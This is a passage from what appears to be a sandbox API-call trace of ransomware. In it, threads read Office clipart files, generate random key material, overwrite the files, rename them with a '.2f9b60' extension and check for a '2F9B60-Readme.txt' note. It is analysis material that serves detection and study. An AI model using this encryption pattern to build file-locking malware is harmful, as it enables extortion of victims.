out: _Dest="f1") returned 2 [0126.337] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="d7") returned 2 [0126.337] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="b7") returned 2 [0126.337] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="98") returned 2 [0126.337] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="5e") returned 2 [0126.337] RtlInitAnsiString (in: DestinationString=0x23bbfc88, SourceString="9da699738573be2b020eb80216c32565e9a46cf1d7b7985e" | out: DestinationString="9da699738573be2b020eb80216c32565e9a46cf1d7b7985e") [0126.337] RtlAnsiStringToUnicodeString (in: DestinationString=0x23bbfc58, SourceString="9da699738573be2b020eb80216c32565e9a46cf1d7b7985e", AllocateDestinationString=1 | out: DestinationString="9da699738573be2b020eb80216c32565e9a46cf1d7b7985e") returned 0x0 [0126.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8639d0 [0126.337] wcscat (in: _Dest=0x4205cc90, _Source="9da699738573" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9da699738573") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9da699738573" [0126.337] wcscat (in: _Dest=0x4205cc90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9da699738573.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9da699738573.2f9b60" [0126.337] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9da699738573.2f9b60", NtPathName=0x23bbfc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9da699738573.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0126.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0126.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0126.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0126.339] NtQueryInformationFile (in: FileHandle=0x1550, IoStatusBlock=0x23bbfc98, FileInformation=0x23bbfca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23bbfc98, FileInformation=0x23bbfca8) returned 0x0 [0126.339] NtSetInformationFile (FileHandle=0x1550, IoStatusBlock=0x23bbfc98, FileInformation=0x23bbfca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0126.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 [0126.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0126.340] FlushFileBuffers (hFile=0x1550) returned 1 [0126.359] CloseHandle (hObject=0x1550) returned 1 [0126.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cc90 [0126.360] wcscpy (in: _Dest=0x4205cc90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0126.360] wcscat (in: _Dest=0x4205cc90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0126.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0126.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 [0126.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b640) returned 1 Thread: id = 1650 os_tid = 0x1b4c [0126.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 0x20 [0126.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF", dwFileAttributes=0x20) returned 1 [0126.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe50 [0126.243] GetFileSizeEx (in: hFile=0xe50, lpFileSize=0x2402fd00 | out: lpFileSize=0x2402fd00*=2262) returned 1 [0126.243] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x8d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.243] ReadFile (in: hFile=0xe50, lpBuffer=0x2402fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2402fcc8, lpOverlapped=0x0 | out: lpBuffer=0x2402fc80*, lpNumberOfBytesRead=0x2402fcc8*=0x4, lpOverlapped=0x0) returned 1 [0126.248] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0126.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859be0 [0126.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0126.249] NtQuerySystemTime (in: CurrentTime=0x2402fbc0 | out: CurrentTime=0x2402fbc0*=132462177315154000) returned 0x0 [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0xab75483 [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x1208ce7f [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x4f79fda3 [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x342c1af [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x4737befc [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x17c92f5b [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x2758e0ce [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x19a5e864 [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x48e7fcc4 [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x677e3502 [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x3bc03142 [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x63d85c63 [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x627da581 [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x56283893 [0126.249] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x223bef22 [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x7ef14f14 [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x1f3e5c1b [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x1475845f [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x238a3ccf [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x68a4df4d [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x31a40c6a [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x6d7b92a6 [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x7b69105 [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x67de5f6a [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x657e352d [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x77ad1cef [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x24684c4b [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x3b5d6b64 [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x16ae21d4 [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x28a5a1c8 [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x1e02659d [0126.250] RtlRandomEx (in: Seed=0x2402fbb0 | out: Seed=0x2402fbb0) returned 0x7718a3a6 [0126.260] ReadFile (in: hFile=0xe50, lpBuffer=0x41d31d40, nNumberOfBytesToRead=0x8d6, lpNumberOfBytesRead=0x2402fbb0, lpOverlapped=0x0 | out: lpBuffer=0x41d31d40*, lpNumberOfBytesRead=0x2402fbb0*=0x8d6, lpOverlapped=0x0) returned 1 [0126.260] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.260] WriteFile (in: hFile=0xe50, lpBuffer=0x41d1f0f0*, nNumberOfBytesToWrite=0x8d6, lpNumberOfBytesWritten=0x2402fbb4, lpOverlapped=0x0 | out: lpBuffer=0x41d1f0f0*, lpNumberOfBytesWritten=0x2402fbb4*=0x8d6, lpOverlapped=0x0) returned 1 [0126.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0126.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85afc0 [0126.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85afc0) returned 1 [0126.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d1f0f0) returned 1 [0126.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d31d40) returned 1 [0126.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 [0126.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0126.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b85afc0 [0126.322] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0126.322] WriteFile (in: hFile=0xe50, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2402fcd0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2402fcd0*=0x102, lpOverlapped=0x0) returned 1 [0126.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0126.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505590 [0126.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0126.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b260) returned 1 [0126.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b7d5a50 [0126.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b260 [0126.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859b20 [0126.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859b20) returned 1 [0126.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505590) returned 1 [0126.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0126.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1b859b20 [0126.328] sprintf (in: _Dest=0x1b859b20, _Format="%c%c" | out: _Dest="ed") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b22, _Format="%c%c" | out: _Dest="f2") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b24, _Format="%c%c" | out: _Dest="c5") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b26, _Format="%c%c" | out: _Dest="fc") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b28, _Format="%c%c" | out: _Dest="2a") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b2a, _Format="%c%c" | out: _Dest="2e") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b2c, _Format="%c%c" | out: _Dest="1a") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b2e, _Format="%c%c" | out: _Dest="e7") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b30, _Format="%c%c" | out: _Dest="c5") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b32, _Format="%c%c" | out: _Dest="87") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b34, _Format="%c%c" | out: _Dest="24") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b36, _Format="%c%c" | out: _Dest="49") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b38, _Format="%c%c" | out: _Dest="00") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b3a, _Format="%c%c" | out: _Dest="91") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b3c, _Format="%c%c" | out: _Dest="65") returned 2 [0126.328] sprintf (in: _Dest=0x1b859b3e, _Format="%c%c" | out: _Dest="ce") returned 2 [0126.328] RtlInitAnsiString (in: DestinationString=0x2402fd48, SourceString="edf2c5fc2a2e1ae7c5872449009165ce" | out: DestinationString="edf2c5fc2a2e1ae7c5872449009165ce") [0126.328] RtlAnsiStringToUnicodeString (in: DestinationString=0x2402fd18, SourceString="edf2c5fc2a2e1ae7c5872449009165ce", AllocateDestinationString=1 | out: DestinationString="edf2c5fc2a2e1ae7c5872449009165ce") returned 0x0 [0126.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x420593d0 [0126.329] wcscat (in: _Dest=0x1b85d380, _Source="edf2c5fc" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edf2c5fc") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edf2c5fc" [0126.329] wcscat (in: _Dest=0x1b85d380, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edf2c5fc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edf2c5fc.2f9b60" [0126.329] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edf2c5fc.2f9b60", NtPathName=0x2402fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edf2c5fc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0126.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x202ace70 [0126.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ace70) returned 1 [0126.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0126.331] NtQueryInformationFile (in: FileHandle=0xe50, IoStatusBlock=0x2402fd58, FileInformation=0x2402fd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2402fd58, FileInformation=0x2402fd68) returned 0x0 [0126.331] NtSetInformationFile (FileHandle=0xe50, IoStatusBlock=0x2402fd58, FileInformation=0x2402fd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0126.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d380) returned 1 [0126.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0126.332] FlushFileBuffers (hFile=0xe50) returned 1 [0126.356] CloseHandle (hObject=0xe50) returned 1 [0126.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cc90 [0126.357] wcscpy (in: _Dest=0x4205cc90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0126.358] wcscat (in: _Dest=0x4205cc90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0126.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0126.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 [0126.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8668c0) returned 1 Thread: id = 1651 os_tid = 0x1b50 [0126.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x20 [0126.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID", dwFileAttributes=0x20) returned 1 [0126.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfdc [0126.246] GetFileSizeEx (in: hFile=0xfdc, lpFileSize=0x23faf940 | out: lpFileSize=0x23faf940*=6970) returned 1 [0126.246] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x1b36, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.246] ReadFile (in: hFile=0xfdc, lpBuffer=0x23faf8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23faf908, lpOverlapped=0x0 | out: lpBuffer=0x23faf8c0*, lpNumberOfBytesRead=0x23faf908*=0x4, lpOverlapped=0x0) returned 1 [0126.297] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0126.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0126.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b020 [0126.297] NtQuerySystemTime (in: CurrentTime=0x23faf800 | out: CurrentTime=0x23faf800*=132462177315778000) returned 0x0 [0126.297] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x1f2bc0cb [0126.297] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0xda4c6f3 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x922a99a [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x148638d1 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x3323a7b5 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x2e28d30 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0xbf6cc55 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x32700ecf [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x5270093e [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x71a0c582 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x7738c173 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x7913b8e0 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x14ab2d86 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x5e7cff3e [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x69255070 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x3f9082d7 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x56af8529 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x6922b102 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x23b41a3d [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x36b3f37f [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x496650be [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x7b089efb [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x78fc35cd [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x5964d20c [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x1269666d [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x454e6175 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x46df4a08 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x1a9ff364 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x3156bc99 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x6db33463 [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x6a9a5dfe [0126.298] RtlRandomEx (in: Seed=0x23faf7f0 | out: Seed=0x23faf7f0) returned 0x430f8e63 [0126.307] ReadFile (in: hFile=0xfdc, lpBuffer=0x41d4c1b0, nNumberOfBytesToRead=0x1b3a, lpNumberOfBytesRead=0x23faf7f0, lpOverlapped=0x0 | out: lpBuffer=0x41d4c1b0*, lpNumberOfBytesRead=0x23faf7f0*=0x1b3a, lpOverlapped=0x0) returned 1 [0126.323] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.323] WriteFile (in: hFile=0xfdc, lpBuffer=0x41d485a0*, nNumberOfBytesToWrite=0x1b3a, lpNumberOfBytesWritten=0x23faf7f4, lpOverlapped=0x0 | out: lpBuffer=0x41d485a0*, lpNumberOfBytesWritten=0x23faf7f4*=0x1b3a, lpOverlapped=0x0) returned 1 [0126.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a7b0 [0126.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85acc0 [0126.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85acc0) returned 1 [0126.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d485a0) returned 1 [0126.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d4c1b0) returned 1 [0126.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504790) returned 1 [0126.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059dd0) returned 1 [0126.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85acc0 [0126.334] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0126.334] WriteFile (in: hFile=0xfdc, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23faf910, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x23faf910*=0x10a, lpOverlapped=0x0) returned 1 [0126.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059dd0 [0126.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504790 [0126.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8598b0 [0126.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8598b0) returned 1 [0126.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0126.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8598b0 [0126.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a00 [0126.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a00) returned 1 [0126.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504790) returned 1 [0126.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059dd0) returned 1 [0126.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0126.343] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="9f") returned 2 [0126.343] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="15") returned 2 [0126.343] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="54") returned 2 [0126.343] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="cd") returned 2 [0126.343] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="c1") returned 2 [0126.343] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="21") returned 2 [0126.344] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="63") returned 2 [0126.344] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="f4") returned 2 [0126.344] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="68") returned 2 [0126.344] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="42") returned 2 [0126.344] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="cd") returned 2 [0126.344] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="01") returned 2 [0126.344] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="a5") returned 2 [0126.344] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="1c") returned 2 [0126.344] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="20") returned 2 [0126.344] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="8d") returned 2 [0126.344] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="30") returned 2 [0126.344] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="98") returned 2 [0126.344] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | 